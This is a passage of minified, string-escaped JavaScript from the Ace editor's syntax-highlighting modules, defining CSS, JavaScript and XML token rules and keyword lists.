width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var 